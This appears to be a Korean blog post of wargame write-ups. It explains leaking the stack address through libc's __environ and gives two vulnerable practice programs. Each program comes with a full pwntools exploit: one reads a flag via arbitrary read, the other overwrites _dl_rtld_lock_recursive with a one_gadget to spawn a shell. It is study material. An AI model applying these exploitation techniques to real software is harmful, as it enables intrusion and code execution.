TIL: Overwriting environ

__environ

Environment variable들은 stack에 저장된다. 환경 변수들을 가리키는 (정확히는 __environ은 double pointer로, __environ이 가리키는 곳에 있는 포인터가 가리키는 곳에 환경 변수들이 있다.) __environ은 libc에 저장되어 있는데, 이 __environ이 가리키는 곳은 stack 위에 있다. 프로그램의 stack 주소를 leak하고 싶을 때 만약 libc_base를 알고 있고, 임의 주소를 읽을 수 있다면 __environ의 주소를 읽어 stack의 주소를 얻어낼 수 있다.

Wargame: __environ

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("/home/environ_exercise/flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

분석

Exploit

from pwn import *

#p = process("./environ_exercise")
p = remote("host1.dreamhack.games", 13029)
#gdb.attach(p)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
print(hex(stdout))

libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]

print(hex(libc_base))

__environ = libc_base + libc.symbols["__environ"]

p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(__environ))
file_buf = u64(p.recvn(6).ljust(8, b"\x00")) - 0x1538

p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(file_buf))

p.interactive()
  1. stdout leak을 이용해 libc_base를 구한다.
  2. libc_base를 이용해 __environ의 주소를 구한다.
  3. __environ이 가리키는 주소를 구한다. → stack의 주소를 알아낼 수 있다.
  4. gdb를 이용해 stack 상에서 file_buf__environ이 가리키는 주소 사이의 offset을 구한다.
  5. file_buf를 읽는다.

Wargame: rtld

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

int main()
{
    long addr;
    long value;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("addr: ");
    scanf("%ld", &addr);

    printf("value: ");
    scanf("%ld", &value);

    *(long *)addr = value;
    return 0;
}

Exploit

from pwn import *

#p = process(["./rtld"], env={'LD_PRELOAD':'./libc.so.6'})
p = remote("host1.dreamhack.games", 14926)
#gdb.attach(p)
libc = ELF("./libc.so.6")
e = ELF("./rtld")

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)

libc_base = stdout - libc.symbols["_IO_2_1_stdout_"]
ld_base = libc_base + 0x3ca000
rtld_global = ld_base + 0x226040
dl_rtld_lock_recursive = rtld_global + 3848
og = libc_base + 0xf02a4

p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(og))

p.interactive()
  • _dl_rtld_lock_recursive를 one_gadget으로 overwrite하면 된다. 앞에서 다룬 문제와 거의 동일해 자세한 과정은 생략한다.
  • Ubuntu 16.04 버전에서는 one_gadget이 실행이 되지 않아 살짝 당황했었는데, Ubuntu 18.04에서 같은 libc 파일을 대상으로 one_gadget을 실행한 뒤 그 값을 사용하면 된다.

Categories: ,

Updated:

Leave a comment